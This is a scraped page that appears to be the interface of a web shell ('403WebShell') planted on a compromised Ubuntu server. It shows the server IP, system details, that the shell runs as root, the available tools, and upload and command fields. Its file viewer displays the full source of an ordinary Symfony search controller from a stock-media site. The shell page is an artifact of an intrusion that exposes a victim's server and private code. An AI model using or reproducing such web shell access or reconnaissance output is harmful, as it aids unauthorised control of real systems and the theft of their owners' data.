WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/SearchController.php
<?php

namespace App\Controller;

use App\Entity\SearchAnalysis;
use App\Entity\Stock;
use App\Entity\StockCategory;
use App\Entity\StockType;
use App\Entity\User;
use App\Repository\SearchAnalysisRepository;
use App\Repository\StockCategoryRepository;
use App\Repository\StockRepository;
use App\Repository\StockTypeRepository;
use App\SearchRepository\StockSearchRepository;
use FOS\ElasticaBundle\Manager\RepositoryManagerInterface;
use http\Env\Response;
use Knp\Component\Pager\Pagination\PaginationInterface;
use Knp\Component\Pager\PaginatorInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
//use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
/**
 * @Route("/search", name="search_")
 */
class SearchController extends AbstractController
{
    /**
     * @Route("/", name="index")
     */
    public function index(StockTypeRepository $stockTypeRepository, StockCategoryRepository $stockCategoryRepository,StockRepository $stockRepository)
    {
        $categories=$stockCategoryRepository->findAll();
        $images=$stockRepository->findBy(['Published'=>1]);
        $stockTypes = $stockTypeRepository->findAll();

        return $this->render('search/index.html.twig', [
            'categories' => $categories,
            'images' => $images,
            'category' => false,
            'stockTypes' => $stockTypes
        ]);
    }

    /**
     * @Route("/{id}/contributor", name="contributor", options={"expose"=true})
     * @param User $user
     * @param Request $request
     * @param StockCategoryRepository $stockCategoryRepository
     * @param StockRepository $stockRepository
     * @param StockTypeRepository $stockTypeRepository
     * @param PaginatorInterface $paginator
     * @param int $page
     * @param RepositoryManagerInterface $manager
     * @return JsonResponse|\Symfony\Component\HttpFoundation\Response
     */
    public function contributor(User $user,
                                Request $request,
                                StockCategoryRepository $stockCategoryRepository,
                                StockRepository $stockRepository,
                                StockTypeRepository $stockTypeRepository,
                                PaginatorInterface $paginator,
                                $page=1,
                                RepositoryManagerInterface $manager)
    {
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;
        $categories=$stockCategoryRepository->findAll();
        $images=$user->getStocks();
        $stock = $request->get("stock");

        $sentTitle = $request->get('title');

        if ($sentTitle){
            $title = $sentTitle;
        }else if (isset($stock)){
            $st = $stockRepository->find($stock);
            $title = $st->getType()->getTitle();
        }else{
            $title = 'photo';
        }

        $searchType  = $stockTypeRepository->findOneBy(["title"=>$title]);

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);
        $results=$stockSearchRepo->search_contributor_public_profile_stocks($user,$searchType);

        //filter stocks
        $filteredStocks = [];
        $sameShoots = [];

        $type = $stockTypeRepository->find(4);


        $stocks=$paginator->paginate($results,$page, $maxItemsPerPage);

        $count=is_array($results) ? count($results) : $results->getTotalHits();

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set("Vary","Accept");

        if ($request->isXmlHttpRequest()){
            return new JsonResponse([
                "html" => $this->renderView('search/_lazy_load_template.html.twig',[
                    'stocks' => $this->removeDuplicates($results)
                ]),
                'stocks' => $stocks,
                'count' => $count,
                'page' => $page,
                'last_page'=>$lastPage,
                'contributor' => $user,
                'title' => $title
            ],200,[
                "Vary"=>"Accept"
            ]);
        }



        return $this->render('search/type.html.twig', [
            'categories' => $categories,
            'stocks' => $this->removeDuplicates($results),
            'count' =>$count,
            'contributor' => $user,
            'id' => $user->getId(),
            '_type' => $type,
            'last_page'=>$lastPage,
            'search_type'=>$stockTypeRepository->findOneBy(["title"=>$title]),
            'title' => $title,
            'search_page' => 'contributor_stock_search'
//            'category' => false,
        ],$response);
    }

    /**
     * @Route("/{id}/contributor/filter", name="contributor_filter", options={"expose"=true})
     */
    public function contributor_public_filter(User $user,
                                              Request $request,
                                              StockCategoryRepository $stockCategoryRepository,
                                              StockRepository $stockRepository,
                                              StockTypeRepository $stockTypeRepository,
                                              PaginatorInterface $paginator,
                                              $page=1,
                                              RepositoryManagerInterface $manager)
    {
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;
        $categories=$stockCategoryRepository->findAll();

        $license = $request->get("license") ;
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category") != "null" ? $request->get("category") : "";
        $search_type = "";
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $search_video_r = $request->get("video_resolution");
        $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";

        $title = $request->get('title');

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);
        $results=$stockSearchRepo->search_contributor_public_profile_stocks_filter($user,
            $stockTypeRepository->findOneBy(["title"=>$title]),$license,$search_type,$orientation,$people,$category,$is_exclusive,$search_video_resolution,10000);



        $stocks = $paginator->paginate($results,$page,$maxItemsPerPage);

        $count=is_array($results) ? count($results) : $results->getTotalHits();

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        if ($request->isXmlHttpRequest()){
            return new JsonResponse([
                "html" => $this->renderView('search/_type_filter_template.html.twig',[
                    'stocks' => $this->removeDuplicates($results),
                ]),
                'stocks' => $stocks,
                'count' => $count,
                'page' => $page,
                'last_page'=>$lastPage,
                'contributor' => $user,
            ]);
        }

    }

    public function removeDuplicates($results){
        $filteredStocks = [];
        $sameShoots = [];


        foreach ($results as $stock){
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode == null || $shootCode == ""){
                array_push($filteredStocks, $stock);
            }
            else{
                if (!in_array($shootCode,$sameShoots, true)) {
                    if (!in_array($shootCode,$sameShoots,true)){
                        array_push($sameShoots, $shootCode);
                    }
                    if (!in_array($stock,$filteredStocks)){
                        array_push($filteredStocks, $stock);
                    }
                }
            }
        }
        return $filteredStocks;
    }

    /**
     * @Route("/{id}/category/{title?1}", name="category", methods={"GET"}, options={"expose"=true})
     * @param StockCategory $category
     * @param Request $request
     * @param PaginatorInterface $paginator
     * @param int $page
     * @param StockType $stockType
     * @param RepositoryManagerInterface $manager
     * @param StockCategoryRepository $stockCategoryRepository
     * @param StockRepository $stockRepository
     * @param StockTypeRepository $stockTypeRepository
     * @return JsonResponse|\Symfony\Component\HttpFoundation\Response
     */
    public function category(StockCategory $category,
//                             StockType $stockType,
                             Request $request,
                             PaginatorInterface $paginator,
                             $page=1,
                             RepositoryManagerInterface $manager,
                             StockCategoryRepository $stockCategoryRepository,
                             StockRepository $stockRepository,
                             StockTypeRepository $stockTypeRepository)
    {
        $pge = $request->get("title");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;
        $photoType=$stockTypeRepository->findOneBy(['title'=>'photo']);

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);
//        $stocksByCategory = $stockRepository->findStocksByCategory($category,$photoType);
        $stocksByCategory = $stockSearchRepo->search_stock_category($category->getId(),$photoType->getId(), 10000);
        $paginated = $paginator->paginate($stocksByCategory,$page, $maxItemsPerPage);
        $filteredStocks = [];
        $sameShoots = [];

        $paginated=$filteredStocks;
        $count=is_array($stocksByCategory) ? count($stocksByCategory) : $stocksByCategory->getTotalHits();
        $lastPage = $count-($page*$maxItemsPerPage) <= 0;
        $categories=$stockCategoryRepository->findAll();
        $ajax= $request->get("ajax");
        if ($request->isXmlHttpRequest()){
            if ($ajax){
                return new JsonResponse([
                    'html'=>$this->renderView('search/_type_filter_template.html.twig',[
                        'stocks'=>$this->removeDuplicates($stocksByCategory),
                    ]),
                    'stocks'=>$paginated,
                    'last_page'=>$lastPage,
                    'categories' => $categories,
                    'images' => $paginated,
                    'category' => $category,
                    'catId'=>$category->getId(),
                    'stockTypes'=>$stockTypeRepository->findAll(),
                    'name' => $category->getName(),
                    'sameShoots'=>implode(",", $sameShoots)
                ]);
            }
        }
        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set("Vary","Accept");

        return $this->render('search/type.html.twig', [
            'categories' => $categories,
            'stocks' => $this->removeDuplicates($stocksByCategory),
            'category' => $category,
            'catId'=>$category->getId(),
            'stockTypes'=>$stockTypeRepository->findAll(),
            '_type' => $photoType,
            'last_page'=>$lastPage,
            'name' => $category->getName(),
            'sameShoots'=>implode(",", $sameShoots),
            'search_page' => 'category_search'
        ], $response);
    }

    /**
     * @Route("/video/{id}/category/", name="video_category", methods={"GET"}, options={"expose"=true})
     * @param StockCategory $category
     * @param Request $request
     * @param PaginatorInterface $paginator
     * @param int $page
     * @param StockType $stockType
     * @param RepositoryManagerInterface $manager
     * @param StockCategoryRepository $stockCategoryRepository
     * @param StockRepository $stockRepository
     * @param StockTypeRepository $stockTypeRepository
     * @return JsonResponse|\Symfony\Component\HttpFoundation\Response
     */
    public function video_category(StockCategory $category,
//                             StockType $stockType,
                             Request $request,
                             PaginatorInterface $paginator,
                             $page=1,
                             RepositoryManagerInterface $manager,
                             StockCategoryRepository $stockCategoryRepository,
                             StockRepository $stockRepository,
                             StockTypeRepository $stockTypeRepository)
    {
        $pge = $request->get("title");
        //$page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;
        $photoType=$stockTypeRepository->findOneBy(['title'=>'video']);

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);
//        $stocksByCategory = $stockRepository->findStocksByCategory($category,$photoType);
        $stocksByCategory = $stockSearchRepo->search_stock_category($category->getId(),$photoType->getId(), 10000);
        $paginated = $paginator->paginate($stocksByCategory,$page, $maxItemsPerPage);
        $filteredStocks = [];
        $sameShoots = [];
        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode=="" || !in_array($shootCode,$sameShoots, true)){
                if ($shootCode != ""){
                    array_push($sameShoots,$shootCode);
                }
                array_push($filteredStocks,$stock);
            }
        }
        $paginated=$filteredStocks;
        $count=is_array($stocksByCategory) ? count($stocksByCategory) : $stocksByCategory->getTotalHits();
        $lastPage = $count-($page*$maxItemsPerPage) <= 0;
        $categories=$stockCategoryRepository->findAll();
        $ajax= $request->get("ajax");
        if ($request->isXmlHttpRequest()){
            $license = $request->get("license") ;
            $people = $request->get("people");
//            $category = $request->get("category");
            $contributor = $request->get("contributor");
            $is_exclusive = $request->get("is_exclusive");
            $videoType = $request->get("type");
            $type=5;
            $stocksByCategory = $stockSearchRepo->search_stock_category_video_filter($category->getId(),$license,$people,$contributor,$is_exclusive,$videoType);
            if ($ajax){
                $filteredStocks=$this->removeDuplicates($stocksByCategory);
                return new JsonResponse([
                    'html'=>$this->renderView('search/_lazy_load_template.html.twig',[
                        'stocks'=>$filteredStocks,
                    ]),
                    'stocks'=>$paginated,
                    'count'=>count($filteredStocks),
                    'last_page'=>$lastPage,
                    'categories' => $categories,
                    'images' => $paginated,
                    'category' => $category,
                    'catId'=>$category->getId(),
                    'stockTypes'=>$stockTypeRepository->findAll(),
                    'name' => $category->getName(),
                    'sameShoots'=>implode(",", $sameShoots)
                ]);
            }
        }
        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set("Vary","Accept");

        return $this->render('search/type.html.twig', [
            'categories' => $categories,
            'stocks' => $this->removeDuplicates($stocksByCategory),
            'category' => $category,
            'catId'=>$category->getId(),
            'id'=>$category->getId(),
            'stockTypes'=>$stockTypeRepository->findAll(),
            'last_page'=>$lastPage,
            'name' => $category->getName(),
            '_type' => $photoType,
            'search_page' => 'video_category_search',
            'sameShoots'=>implode(",", $sameShoots)
        ], $response);
    }

    /**
     * @Route("/home/page/search", name="search_home_page")
     * @param Request $request
     * @param StockRepository $stockRepository
     * @param StockTypeRepository $stockTypeRepository
     * @param PaginatorInterface $pagination
     * @param int $maxItemsPerPage
     * @return \Symfony\Component\HttpFoundation\Response
     */


    /**
     * @Route("/stock", name="elastica_search", options={"expose"=true})
     * @param RepositoryManagerInterface $manager
     * @param Request $request
     * @param StockTypeRepository $stockTypeRepository
     * @param PaginatorInterface $pagination
     * @param int $maxItemsPerPage
     * @return \Symfony\Component\HttpFoundation\Response
     */
    public function elastca_search(RepositoryManagerInterface $manager,
                                   Request $request,
                                   StockTypeRepository $stockTypeRepository,
                                   PaginatorInterface $pagination,
                                   $page=1,
                                   SearchAnalysisRepository $searchAnalysisRepository)
    {
        $s = $request->get("searchbar");
        $st = $request->get("searchtype");
        $search = isset( $s ) ? $s : null;
        $searchType = isset( $st ) && !empty( $st ) ? $stockTypeRepository->find($request->get("searchtype")) : null;
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;



        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);

        $result = $stockSearchRepo->search($search, $st);
        $paginated = $pagination->paginate($result,$page, $maxItemsPerPage);



        //filter stocks
        $filteredStocks = $this->removeDuplicates($result);
        $sameShoots = [];


        $paginated=$filteredStocks;

        if(is_array($result)){
            $count = count($result);
        }else{
            $count=$result->getTotalHits();
        }

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;




        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set('Vary','Accept');

        if ($request->isXmlHttpRequest()){
                return new JsonResponse([
                    "html" => $this->renderView('search/_lazy_load_template.html.twig',[
                        'stocks' => $filteredStocks
                    ]),
                    'search_type' => $st,
                    'stocks' => $paginated,
                    'count' => $count,
                    'page' => $page,
                    '_type'=>$searchType,
                    'last_page'=>$lastPage,
                    'sameShoots'=>implode(",", $sameShoots)
                ],200,['Vary'=>'Accept']);
        }else{
            $this->setAnalysis($search);
        }

        return $this->render('search/type.html.twig', [
            'search_keyword' => $s,
            'search_type' => $searchType,
            'stocks' => $filteredStocks,
            'count' => $count,
            'page' => $page,
            '_type'=>$searchType,
            'last_page'=>$lastPage,
            'sameShoots'=>implode(",", $sameShoots),
            'search_page' => 'main_search'
        ],$response);


    }


    /**
     * @Route("/grid/", name="grid_elastica_search", options={"expose"=true})
     * @param RepositoryManagerInterface $manager
     * @param Request $request
     * @param StockTypeRepository $stockTypeRepository
     * @param PaginatorInterface $pagination
     * @param int $maxItemsPerPage
     * @return \Symfony\Component\HttpFoundation\Response
     */
    public function grid_elastca_search(RepositoryManagerInterface $manager,
                                   Request $request,
                                   StockTypeRepository $stockTypeRepository,
                                   PaginatorInterface $pagination,
                                   $page=1,
                                   SearchAnalysisRepository $searchAnalysisRepository)
    {
        $s = $request->get("searchbar");
        $st = $request->get("searchtype");
        $search = isset( $s ) ? $s : null;
        $searchType = isset( $st ) && !empty( $st ) ? $stockTypeRepository->find($request->get("searchtype")) : null;
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;



        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);

        $result = $stockSearchRepo->search($search, $st);
        $paginated = $pagination->paginate($result,$page, $maxItemsPerPage);



        //filter stocks
        $filteredStocks = $this->removeDuplicates($result);
        $sameShoots = [];


        $paginated=$filteredStocks;

        if(is_array($result)){
            $count = count($result);
        }else{
            $count=$result->getTotalHits();
        }

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;




        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set('Vary','Accept');

        if ($request->isXmlHttpRequest()){
            return new JsonResponse([
                "html" => $this->renderView('search/_lazy_load_template.html.twig',[
                    'stocks' => $filteredStocks
                ]),
                'search_type' => $st,
                'stocks' => $paginated,
                'count' => $count,
                'page' => $page,
                '_type'=>$st,
                'last_page'=>$lastPage,
                'sameShoots'=>implode(",", $sameShoots)
            ],200,['Vary'=>'Accept']);
        }else{
            $this->setAnalysis($search);
        }

        return $this->render('search/grid_search_result.html.twig', [
            'search_keyword' => $s,
            'search_type' => $searchType,
            'stocks' => $filteredStocks,
            'count' => $count,
            'page' => $page,
            '_type'=>$st,
            'last_page'=>$lastPage,
            'sameShoots'=>implode(",", $sameShoots)
        ],$response);


    }

    private function setAnalysis($search){
        $em = $this->getDoctrine()->getManager();
        $searchAnalysis = null;
        if ($search != ""){
            $searchAnalysisRepository = $this->getDoctrine()->getRepository(SearchAnalysis::class);
            $searchAnalysis = $searchAnalysisRepository->findOneBy(["search" => strtolower($search)]);

            if (!$searchAnalysis){
                $searchAnalysis = new SearchAnalysis();
                $searchAnalysis->setSearch(strtolower($search));
                $searchAnalysis->setFrequency(1);
                $searchAnalysis->setCreatedAt(new \DateTime());
            }else{
                $freq = (int)$searchAnalysis->getFrequency() + 1;
                $searchAnalysis->setFrequency($freq);
            }

        }

        if ($searchAnalysis){
            $em->persist($searchAnalysis);
            $em->flush();
        }
    }

    /**
     * @Route("/main/filter", name="elastica_search_filter", options={"expose"=true})
     */
    public function search_filter(Request $request,
                                  RepositoryManagerInterface $manager,
                                  PaginatorInterface $pagination,
                                  $page=1,
                                  StockTypeRepository $stockTypeRepository)
    {
        $license = $request->get("license") ;
        $imageType = $request->get("type");
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category");
        $search = $request->get("search");
        $search_type = $request->get("search_type");
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $search_video_r = $request->get("video_resolution");
        $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";

        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;

        $message = 1;

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepository = $manager->getRepository(Stock::class);

        $stocks = $stockSearchRepository->search_filter($search,$license,$imageType,$orientation,$people, $category,$contributor,$is_exclusive,$search_type, $search_category, $search_video_resolution,10000);

        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);


        $filteredStocks = [];
        $sameShoots = [];

        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = $stock->getSameShootCode();

            if ($shootCode=="" || !in_array($shootCode,$sameShoots, true)){
                if ($shootCode != ""){
                    array_push($sameShoots,$shootCode);
                }
//                array_push($filteredStocks,$stock);
                if (!in_array($stock,$filteredStocks)){
                    array_push($filteredStocks, $stock);
                }
            }
        }

        $paginated=$filteredStocks;
//        $count=count($paginated);

        if(is_array($stocks)){
            $count = count($stocks);
        }else{
            $count=$stocks->getTotalHits();
        }

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        return new JsonResponse([
            "html" => $this->renderView('search/_type_filter_template.html.twig',[
                'stocks' => $this->removeDuplicates($stocks),
            ]),
            "count" => $count,
            'search_type' => $search_type,
            'stocks' => $paginated,
            'page' => $page,
            '_type'=>$search_type,
            'last_page'=>$lastPage
        ]);
    }

    /**
     * @Route("/type/filter", name="elastica_type_search_filter", options={"expose"=true})
     */
    public function type_search_filter(Request $request,
                                  RepositoryManagerInterface $manager,
                                  PaginatorInterface $pagination,
                                  $page=1,
                                  StockTypeRepository $stockTypeRepository)
    {
        $license = $request->get("license") ;
        $imageType = $request->get("type");
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category");
        $search = $request->get("search");
        $search_type = $request->get("search_type");
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $search_video_r = $request->get("video_resolution");
        $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";

        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 30;

        //dump($search);die;
        $message = 1;

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepository = $manager->getRepository(Stock::class);

        $stocks = $stockSearchRepository->search_filter($search,$license,$imageType,$orientation,$people, $category,$contributor,$is_exclusive,$search_type, $search_category,$search_video_resolution,10000);

        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);

//        dd($paginated->getItems());

        $filteredStocks = [];
        $sameShootsPrev=$request->get('sameShoot');
        $sameShoots = explode(",",$sameShootsPrev);

        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode=="" || $shootCode==null){
                array_push($filteredStocks, $stock);
            }
            else{
                if (!in_array($shootCode,$sameShoots, true)) {
                    if ($shootCode != "" || !empty($shootCode)) {
                        array_push($sameShoots, $shootCode);
                    }
//                    array_push($filteredStocks, $stock);
                    if (!in_array($stock,$filteredStocks)){
                        array_push($filteredStocks, $stock);
                    }
                }
            }
        }
        $paginated=$filteredStocks;

        if(is_array($stocks)){
            $count = count($stocks);
        }else{
            $count=$stocks->getTotalHits();
        }
        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        $type = $stockTypeRepository->find($search_type);

        return new JsonResponse([
            "html" => $this->renderView('search/_type_filter_template.html.twig',[
                'stocks' => $this->removeDuplicates($stocks),
                '_type'=>$type
            ]),
            "count" => $count,
            'search_type' => $search_type,
            'stocks' => $paginated,
            'page' => $page,
            '_type'=>$type,
            'last_page'=>$lastPage,
            'sameShoots'=>implode(",", $sameShoots)
        ]);
    }

    /**
     * @Route("/category/filter", name="elastica_category_search_filter", options={"expose"=true})
     */
    public function category_search_filter(Request $request,
                                       RepositoryManagerInterface $manager,
                                       PaginatorInterface $pagination,
                                       $maxItemsPerPage = 10,
                                       $page=1,
                                       StockTypeRepository $stockTypeRepository)
    {
        $license = $request->get("license") ;
        $imageType = $request->get("type");
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category");
        $search = $request->get("search");
        $search_type = $request->get("search_type");
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;

        //dump($search);die;
        $message = 1;

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepository = $manager->getRepository(Stock::class);

        $photoType=$stockTypeRepository->findOneBy(['title'=>'photo']);

        $stocks = $stockSearchRepository->search_filter_category($search,$license,$imageType,$orientation,$people, $category,$contributor,$is_exclusive,$photoType->getId(),10000);

        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);

        if(is_array($stocks)){
            $count = count($stocks);
        }else{
            $count=$stocks->getTotalHits();
        }
        $filteredStocks = [];
        $sameShootsPrev=$request->get('sameShoot');
        $sameShoots = explode(",",$sameShootsPrev);

        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode=="" || $shootCode==null){
                array_push($filteredStocks, $stock);
            }
            else{
                if (!in_array($shootCode,$sameShoots, true)) {
                    if ($shootCode != "" || !empty($shootCode)) {
                        array_push($sameShoots, $shootCode);
                    }
//                    array_push($filteredStocks, $stock);
                    if (!in_array($stock,$filteredStocks)){
                        array_push($filteredStocks, $stock);
                    }
                }
            }
        }

//        dd($sameShoots);

        $paginated=$filteredStocks;
        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        $type = $stockTypeRepository->find($search_type);

        return new JsonResponse([
            "html" => $this->renderView('search/_type_filter_template.html.twig',[
                'stocks' => $this->removeDuplicates($stocks),
                '_type'=>$type
            ]),
            "count" => $count,
            'search_type' => $search_type,
            'stocks' => $paginated,
            'page' => $page,
            '_type'=>$type,
            'last_page'=>$lastPage,
            'sameShoots'=>implode(",", $sameShoots)
        ]);
    }

    /**
     * @Route("/{id}/{keyword}/search", name="keyword_search", options={"expose"=true})
     * @param Stock $stock
     * @param $keyword
     * @return \Symfony\Component\HttpFoundation\RedirectResponse|\Symfony\Component\HttpFoundation\Response
     * @throws \Exception
     */
    public function stocks_by_keywords(Stock $stock,
                                       Request $request,
                                       $keyword,
                                       PaginatorInterface $pagination,
                                       $page=1,
                                       RepositoryManagerInterface $manager)
    {
        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;
        if ($keyword == "null"){
            return $this->redirectToRoute("image_details",["id" => $stock->getId()]);
        }
        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepo = $manager->getRepository(Stock::class);
        $stocks = $stockSearchRepo->search_by_keywords($keyword, $stock->getType()->getId(),10000);

        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);

        $filteredStocks = [];
        $sameShoots = [];

        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode=="" || $shootCode==null){
                array_push($filteredStocks, $stock);
            }
            else{
                if (!in_array($shootCode,$sameShoots, true)) {
                    if ($shootCode != "" || !empty($shootCode)) {
                        array_push($sameShoots, $shootCode);
                    }
//                    array_push($filteredStocks, $stock);
                    if (!in_array($stock,$filteredStocks)){
                        array_push($filteredStocks, $stock);
                    }
                }
            }
        }

        $paginated=$filteredStocks;
        $count=is_array($stocks) ? count($stocks) : $stocks->getTotalHits();
        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

//        dump($lastPage);die;

        $em = $this->getDoctrine()->getManager();
        $searchAnalysis = null;
        $ajax= $request->get("ajax");
        if ($keyword != "" && !$request->isXmlHttpRequest()){
            $searchAnalysisRepository = $this->getDoctrine()->getRepository(SearchAnalysis::class);
            $searchAnalysis = $searchAnalysisRepository->findOneBy(["search" => strtolower($keyword)]);

            if (!$searchAnalysis){
                $searchAnalysis = new SearchAnalysis();
                $searchAnalysis->setSearch(strtolower($keyword));
                $searchAnalysis->setFrequency(1);
                $searchAnalysis->setCreatedAt(new \DateTime());
            }else{
                $freq = (int)$searchAnalysis->getFrequency() + 1;
                $searchAnalysis->setFrequency($freq);
            }

        }
        if ($searchAnalysis){
            $em->persist($searchAnalysis);
            $em->flush();
        }

        if ($request->isXmlHttpRequest()){
            $license = $request->get("license") ;
            $imageType = $request->get("type");
            $orientation = $request->get("orientation");
            $people = $request->get("people");
            $category = $request->get("category");
            $search = $request->get("search");
            $search_type = $request->get("search_type");
            $contributor = $request->get("contributor");
            $is_exclusive = $request->get("is_exclusive");
            $search_video_r = $request->get("video_resolution");
            $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";
            $stocks = $stockSearchRepo->search_by_keywords_filter($keyword,$license,$imageType,$orientation,$people,$category,$contributor,$is_exclusive,$search_type,$search_video_resolution,10000);

            $count = is_array($stocks) ? count($stocks) : $stocks->getTotalHits();

            if ($ajax){
                return new JsonResponse([
                    "html"=>$this->renderView('search/_lazy_load_template.html.twig',[
                        'stocks'=>$this->removeDuplicates($stocks),
                        'image'
                    ]),
                    'search_keyword' => $keyword,
                    'search_type' => $stock->getType(),
                    '_type' => $stock->getType()->getId(),
                    'stocks' => $paginated,
                    'count' => $count,
                    'keyword' => 'keyword',
                    'page' => $page,
                    'last_page'=>$lastPage,
                    '_id'=>$stock->getId(),
                    'sameShoots'=>implode(",", $sameShoots)
                ]);
            }
        }

        return $this->render('search/type.html.twig',[
            'search_keyword' => $keyword,
            'search_type' => $stock->getType(),
            '_type' => $stock->getType(),
            'stocks' => $this->removeDuplicates($stocks),
            'count' => $count,
            'keyword' => 'keyword',
            'page' => $page,
            'last_page'=>$lastPage,
            '_id'=>$stock->getId(),
            'stock'=>$stock,
            'search_page' => 'category_search',
            'sameShoots'=>implode(",", $sameShoots)
        ]);
    }

    /**
     * @Route("/home/similar/{id}/filter", name="elastica_similar_stock_filter", options={"expose"=true})
     */
    public function similar_stock_filter(Request $request,
                                           Stock $stock,
                                           RepositoryManagerInterface $manager,
                                           PaginatorInterface $pagination,
                                           $page=1,
                                           StockTypeRepository $stockTypeRepository)
    {
        $license = $request->get("license") ;
        $imageType = $request->get("type");
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category");
        $search = $request->get("search");
        $search_type = $request->get("search_type");
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $search_video_r = $request->get("video_resolution");
        $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";

        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;

        //dump($search);die;
        $message = 1;

        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepository = $manager->getRepository(Stock::class);



        $photoType=$stockTypeRepository->findOneBy(['title'=>'photo']);


        $stocks = $stockSearchRepository->similar_stock_filter($stock,$search,$license,$imageType,$orientation,$people, $category,$contributor,$is_exclusive, $search_category,$search_video_resolution, 1000);


        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);

